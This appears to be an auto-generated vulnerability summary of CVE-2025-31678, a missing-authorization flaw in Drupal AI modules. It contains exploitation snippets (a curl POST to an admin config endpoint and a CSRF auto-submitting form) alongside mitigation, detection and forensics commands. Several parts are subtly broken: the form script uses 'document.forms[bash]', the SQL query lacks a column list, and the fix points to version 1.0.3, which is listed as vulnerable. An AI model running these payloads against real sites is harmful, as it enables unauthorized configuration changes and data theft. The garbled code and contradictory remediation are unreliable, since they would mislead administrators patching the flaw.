How the CVE Works
CVE-2025-31678 is a Missing Authorization flaw in Drupal AI (Artificial Intelligence) modules (versions 0.0.0 to 1.0.3), allowing attackers to perform Forceful Browsing. The vulnerability occurs due to improper access controls in API endpoints, enabling unauthenticated users to execute privileged actions like modifying AI model configurations or extracting sensitive training data. Attackers exploit this by crafting direct HTTP requests to restricted endpoints, bypassing Drupal’s role-based permission checks. The lack of CSRF protection exacerbates the issue, making it exploitable via malicious scripts.
DailyCVE Form
Platform: Drupal AI
Version: 0.0.0 – 1.0.3
Vulnerability: Missing Authorization
Severity: Critical
Date: 06/04/2025
Prediction: Patch expected by 07/15/2025
What Undercode Say:
Exploitation:
1. Craft Malicious Request:
curl -X POST http://<target>/ai-module/admin/config --data '{"model":"malicious"}'
2. CSRF Attack:
<form action="http://<target>/ai-module/admin/config" method="POST"> <input type="hidden" name="model" value="stolen_data"> </form> <script>document.forms[bash].submit();</script>
Mitigation:
1. Temporary Fix: Restrict access via `.htaccess`:
<LocationMatch "/ai-module/admin"> Require valid-user </LocationMatch>
2. Drupal Patch: Await update to v1.0.3+.
Detection:
1. Log Analysis:
grep "POST /ai-module/admin" /var/log/drupal/access.log
2. Drush Check:
drush pm-updatestatus | grep "AI Module"
Permanent Fix:
Update via Drush:
drush up ai_module
Impact Analysis:
- Data Theft: Exposes AI training datasets.
- RCE Potential: If AI models execute system commands.
Forensics:
1. Audit Logs:
drush watchdog-show --count=100 | grep "ai_module"
2. Database Check:
SELECT FROM ai_config WHERE modified_by = 'anonymous';
